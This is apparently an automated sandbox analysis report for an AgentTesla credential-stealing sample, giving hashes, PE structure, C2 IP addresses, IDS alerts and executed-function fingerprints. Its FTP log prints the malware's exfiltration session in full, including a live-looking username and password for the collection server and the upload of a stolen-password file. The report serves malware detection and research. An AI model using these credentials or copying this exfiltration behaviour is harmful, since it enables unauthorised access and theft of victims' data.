	hesaphareketi_____.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi__.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi-01-pdf.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	RFQ 9-XTC-204-60THD.xlsx.exe	Get hash	malicious	Quasar	Browse	69.174.99.131
	quotation.exe	Get hash	malicious	FormBook	Browse	155.94.253.4
	Quote Qu11262024.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	66.63.187.246
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	154.205.102.33
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	104.200.67.193
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	103.230.140.211
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	199.180.254.132
	specifications.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	155.94.253.4
	armv7l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	193.111.248.45
	mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	193.111.248.45

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.987741447178301
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	pE7icjUisS.exe
File size:	239'104 bytes
MD5:	95c864e4a99b56f70fe18081066ed7b3
SHA1:	a8112f75b9869798c6e15782cd651690f1b6faf8
SHA256:	fcb6030b15822380735483e1911f0148961b7f7cc4a9fe30561825ed3cd22dbc
SHA512:	66330ffc5800b4645ed2db0da7401271680ec7fd1f45f507de228847996532ef2763078aa9e95cba727b0a339c922831b84aae892db7a8e305cdbfb811ef0e85
SSDEEP:	3072:QOw/k7XjnbP29wMYISDyFowVpNU5lA5Iazt:xws7Xjnbu9zYISDLwVpNn5fz
TLSH:	62341E037E88EB15E1A83E3782EF6D2413B2B4C71633D60B6F49AFA518516425C7E72D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x43b9fe
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6604D612 [Thu Mar 28 02:29:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3b9ac	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c000	0x546	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x39a04	0x39c00	04fa7d4fe71e5153e384c1479670226d	False	0.35598028273809523	data	4.999091211254317	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x3c000	0x546	0x600	24d25170dba5f4a0d8d7afa9ed6e09f9	False	0.4016927083333333	data	4.003023872957898	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3e000	0xc	0x200	a4e9d59a1ed0fd9b29b29b052f2fcf6d	False	0.041015625	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x3c0a0	0x2bc	data			0.44142857142857145
RT_MANIFEST	0x3c35c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T15:57:16.502872+0100	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.7	49711	104.247.165.99	21	TCP
2024-12-03T15:57:17.679216+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.7	49720	104.247.165.99	51146	TCP
2024-12-03T15:57:17.800328+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.7	49720	104.247.165.99	51146	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 15:57:12.316935062 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:12.436922073 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:12.437031031 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:13.687917948 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:13.690722942 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:13.810762882 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:14.132723093 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:14.133841038 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:14.253798962 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:14.604690075 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:14.605032921 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:14.724991083 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:15.047388077 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:15.047589064 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:15.167690992 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:15.490068913 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:15.490397930 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:15.611713886 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:15.939477921 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:15.939666033 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:16.059964895 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:16.381412029 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:16.382240057 CET	49720	51146	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:16.431072950 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:16.502404928 CET	51146	49720	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:16.502825975 CET	49720	51146	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:16.502871990 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:16.623090029 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:17.678606033 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:17.679215908 CET	49720	51146	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:17.679215908 CET	49720	51146	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:17.727978945 CET	49711	21	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:17.799144030 CET	51146	49720	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:17.800214052 CET	51146	49720	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:17.800328016 CET	49720	51146	192.168.2.7	104.247.165.99
Dec 3, 2024 15:57:18.121918917 CET	21	49711	104.247.165.99	192.168.2.7
Dec 3, 2024 15:57:18.165328026 CET	49711	21	192.168.2.7	104.247.165.99

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 15:57:11.752593994 CET	53827	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:57:12.308768034 CET	53	53827	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 15:57:11.752593994 CET	192.168.2.7	1.1.1.1	0x5833	Standard query (0)	ftp.normagroup.com.tr	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 15:57:12.308768034 CET	1.1.1.1	192.168.2.7	0x5833	No error (0)	ftp.normagroup.com.tr		104.247.165.99	A (IP address)	IN (0x0001)	false

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Dec 3, 2024 15:57:13.687917948 CET	21	49711	104.247.165.99	192.168.2.7	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 50 allowed.220-Local time is now 17:57. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 50 allowed.220-Local time is now 17:57. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 50 allowed.220-Local time is now 17:57. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 50 allowed.220-Local time is now 17:57. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Dec 3, 2024 15:57:13.690722942 CET	49711	21	192.168.2.7	104.247.165.99	USER admins@normagroup.com.tr
Dec 3, 2024 15:57:14.132723093 CET	21	49711	104.247.165.99	192.168.2.7	331 User admins@normagroup.com.tr OK. Password required
Dec 3, 2024 15:57:14.133841038 CET	49711	21	192.168.2.7	104.247.165.99	PASS ab+LNvim5PAo
Dec 3, 2024 15:57:14.604690075 CET	21	49711	104.247.165.99	192.168.2.7	230 OK. Current restricted directory is /
Dec 3, 2024 15:57:15.047388077 CET	21	49711	104.247.165.99	192.168.2.7	504 Unknown command
Dec 3, 2024 15:57:15.047589064 CET	49711	21	192.168.2.7	104.247.165.99	PWD
Dec 3, 2024 15:57:15.490068913 CET	21	49711	104.247.165.99	192.168.2.7	257 "/" is your current location
Dec 3, 2024 15:57:15.490397930 CET	49711	21	192.168.2.7	104.247.165.99	TYPE I
Dec 3, 2024 15:57:15.939477921 CET	21	49711	104.247.165.99	192.168.2.7	200 TYPE is now 8-bit binary
Dec 3, 2024 15:57:15.939666033 CET	49711	21	192.168.2.7	104.247.165.99	PASV
Dec 3, 2024 15:57:16.381412029 CET	21	49711	104.247.165.99	192.168.2.7	227 Entering Passive Mode (104,247,165,99,199,202)
Dec 3, 2024 15:57:16.502871990 CET	49711	21	192.168.2.7	104.247.165.99	STOR PW_user-960781_2024_12_03_09_57_10.html
Dec 3, 2024 15:57:17.678606033 CET	21	49711	104.247.165.99	192.168.2.7	150 Accepted data connection
Dec 3, 2024 15:57:18.121918917 CET	21	49711	104.247.165.99	192.168.2.7	226-File successfully transferred 226-File successfully transferred226 0.443 seconds (measured here), 0.71 Kbytes per second

Target ID:	0
Start time:	09:57:09
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\pE7icjUisS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\pE7icjUisS.exe"
Imagebase:	0xb30000
File size:	239'104 bytes
MD5 hash:	95C864E4A99B56F70FE18081066ED7B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.3856454499.0000000002E9E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1394478448.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000000.1394478448.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.3856454499.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.3856454499.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 06260040 Relevance: .9, Instructions: 939COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6cae83fa977c851a5b7c03d0ffa0fc27e9f2d62ce6337d8edab8d70bed74da0
Instruction ID: 8096961e1c84fad304675a67c2ca604ae870a88ae2e78629fd8a3f32cb37a611
Opcode Fuzzy Hash: a6cae83fa977c851a5b7c03d0ffa0fc27e9f2d62ce6337d8edab8d70bed74da0
Instruction Fuzzy Hash: B5825D30E10615CFDB64DF65C544A9DB7B2FF85300F54C6AAE849AB264EB70ED85CB80

Function 06263F30 Relevance: .8, Instructions: 809COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ba675ab2eb19999e3a934756d91c2c1f37caec52eec02ade98c7217fb83f172
Instruction ID: c4b1c4f32fd56754b036cd705f6ccf098ff0b710ea21d46b7f39f33f11a107f7
Opcode Fuzzy Hash: 6ba675ab2eb19999e3a934756d91c2c1f37caec52eec02ade98c7217fb83f172
Instruction Fuzzy Hash: 78627F34B102158FDB64EB6AD5806AEBBF2EF84314F14C569E845DB394DB71EC82CB90

Function 06268D1F Relevance: .6, Instructions: 594COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5568933725bb850ccb27906969db1d4a2b1ea1d4cfce1bdf63ac3eaf8bac5eb9
Instruction ID: cd7586da560205df379a6bd634df22d9e3bb6ec2a3d9e3f50cbf21dd4aabc1b4
Opcode Fuzzy Hash: 5568933725bb850ccb27906969db1d4a2b1ea1d4cfce1bdf63ac3eaf8bac5eb9
Instruction Fuzzy Hash: 7B224370E2020A8FEF64DB69D4907AEB7B6EB89310F204526F815DB395DA35DCC1CB61

Function 06262AF8 Relevance: .6, Instructions: 586
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5c2339787033a648406bcbaf3beed6b6a8d1436e5164980159ec7d8df9cbfb8
Instruction ID: a7697b7999d45bb551aefc56d7bd374b1fa1ba27582adb7fed30311caffb9676
Opcode Fuzzy Hash: b5c2339787033a648406bcbaf3beed6b6a8d1436e5164980159ec7d8df9cbfb8
Instruction Fuzzy Hash: 1B22B331E11216CFDF64DBA9C4807AEBBB2FF85310F248569E845AB394DA35DD81CB90

Function 0626BCD8 Relevance: .6, Instructions: 570
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afd5199c8e6c7aece8aec650b54b132990d1661464b7b8be64c7c2b4d0c18340
Instruction ID: 2a983cac0c328e78f684ddc2417b491578d42a17495f03f93a3504d6742b367f
Opcode Fuzzy Hash: afd5199c8e6c7aece8aec650b54b132990d1661464b7b8be64c7c2b4d0c18340
Instruction Fuzzy Hash: 3722A330B102058FDB54EB69D494B6DB7F2EF88311F108569E806DB365DB75EC82CB91

Function 062656C0 Relevance: .5, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6728d3a8fb34e988f4c4fee7f8116af84c67da9e6f04d5e6b5e19b3baa8f82b2
Instruction ID: 0f550a3e26fc22d2e1ccc234146edbc68d26fa7f1fdf761ee4c5452cb45b92a5
Opcode Fuzzy Hash: 6728d3a8fb34e988f4c4fee7f8116af84c67da9e6f04d5e6b5e19b3baa8f82b2
Instruction Fuzzy Hash: 89029130B102158FDB54DB6AD99076EBBF2FF84314F148569E806AB395DB31ED82CB90

Function 0626DC00 Relevance: .3, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ce2420d903279fc0cf1afa9470d14b9e38baeed6cbca0b528ed5f0d992e4f20
Instruction ID: fb3a6644ffd7721d31f16bb63271b6ba3c514e2291aeddbb2ccf6280302e4e03
Opcode Fuzzy Hash: 5ce2420d903279fc0cf1afa9470d14b9e38baeed6cbca0b528ed5f0d992e4f20
Instruction Fuzzy Hash: 9CB1B074F143188FDB98AB75985427E7BA3AFC8700B15892EF806DB399DE34CC428791

Function 014D4A60 Relevance: .3, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3856214895.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14d0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce1766b349cc12d80ba1a516a8ebabd23699acb4fdf659029a29547f02849726
Instruction ID: 086694e32db2012eb42f9badbe6e55e295f93d8c073a2e998beeee11a00517bd
Opcode Fuzzy Hash: ce1766b349cc12d80ba1a516a8ebabd23699acb4fdf659029a29547f02849726
Instruction Fuzzy Hash: F6B17070E003098FDF14CFA9D9957AEBBF2AF48714F18852AD415E77A4EB749842CB81

Function 014D3E48 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856214895.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14d0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fded6d6fefe57ec40a33cf8a43c165c49a298a0f36778f076bc69f51a320db75
Instruction ID: 253ab871671dde1457703ebe48958048ac4e4b960810cf02e7901241e88e53e3
Opcode Fuzzy Hash: fded6d6fefe57ec40a33cf8a43c165c49a298a0f36778f076bc69f51a320db75
Instruction Fuzzy Hash: 94914EB0E003099FDF15CFA9C9A579EBBF2BF48314F18812AE415A73A4DB749845CB91

Function 0626E167 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(8B55054C), ref: 0626E1E7

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: c051003b3fb43229853fcd0abda1cdba21c0eafa8ed784bf6943192cf22911ce
Instruction ID: 27db27f40f46a7eabdbbc933792f5e4af2eaba3b2a57e9f6e50d16dd3f298c74
Opcode Fuzzy Hash: c051003b3fb43229853fcd0abda1cdba21c0eafa8ed784bf6943192cf22911ce
Instruction Fuzzy Hash: 0D216AB5C002599FCB10CF9AC444BDEFBF0AF48310F11816AE818A7340D7785941CFA1

Function 0626E180 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(8B55054C), ref: 0626E1E7

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 474abc558f5cf6dc85351835e416449b307cd8e251c2a302d564c97fa2b1d02e
Instruction ID: 8b56856c4b730acdbf595067c82a17d89774a36e32e50b4e57f9fddec5f6bdaa
Opcode Fuzzy Hash: 474abc558f5cf6dc85351835e416449b307cd8e251c2a302d564c97fa2b1d02e
Instruction Fuzzy Hash: 941123B1C0025A9BCB10DF9AC845BDEFBF4AF48320F11816AE818A7240D778A941CFA1

Function 014D7990 Relevance: .6, Instructions: 559
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3856214895.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14d0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c7df9c6492d8e7f1cb3383c48902a922ce2342196599ec3ce5ffa8a151c1c30
Instruction ID: 2881a7c1a879dcdffecef52f0b9dfee34d6710b1979bd5e6c083f38612821711
Opcode Fuzzy Hash: 9c7df9c6492d8e7f1cb3383c48902a922ce2342196599ec3ce5ffa8a151c1c30
Instruction Fuzzy Hash: 09125174B413128BDF29AB29E49422D76A2FBD9606B508A3FD105CF769CF31EC4687C1

Function 014D9768 Relevance: .4, Instructions: 359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3856214895.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14d0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 030f8c9d9b3dcc51219f7f45744c63dd6996eb0796022fc858a3505eac667133
Instruction ID: 84f43a46c0f7cb6c5b5f8bad61dd97373ec6aabb11919eebce6cbf0b4ea1d85e
Opcode Fuzzy Hash: 030f8c9d9b3dcc51219f7f45744c63dd6996eb0796022fc858a3505eac667133
Instruction Fuzzy Hash: E1D19E75A002058FDF14DFA9D8907AEBBB2FF88314F10856AE909DB3A5D771D841CB91

Function 014D93EC Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856214895.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14d0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbccc8192db6b4f78f12bf01ce91b3afe4eed6b930ca40b148967321ac86d306
Instruction ID: c785c0e18c9e48ac41bd6e08eee69936e657d966f80009161d630fd748e67186
Opcode Fuzzy Hash: dbccc8192db6b4f78f12bf01ce91b3afe4eed6b930ca40b148967321ac86d306
Instruction Fuzzy Hash: A6D18D74A002058FDF19DF69D494AAEBBB2FF88314F11856AE506EB365DB70DC42CB90

Function 014D4A55 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856214895.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14d0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b423b3c85c8dfe0005d1c8f48a9b17d66ad029084a68a1e6d9352b72f9c50cf
Instruction ID: 0a08d5550cc3e1448bdc6c618291067e4a39beea9dc687abcc93c23cc4b65536
Opcode Fuzzy Hash: 4b423b3c85c8dfe0005d1c8f48a9b17d66ad029084a68a1e6d9352b72f9c50cf
Instruction Fuzzy Hash: A8B17070E00209CFDF10CFA9D9957AEBBF1AF48714F18812AE415A7764EB749846CB81

Function 014D3E3C Relevance: .2, Instructions: 240COMMON

Download Yara Rule

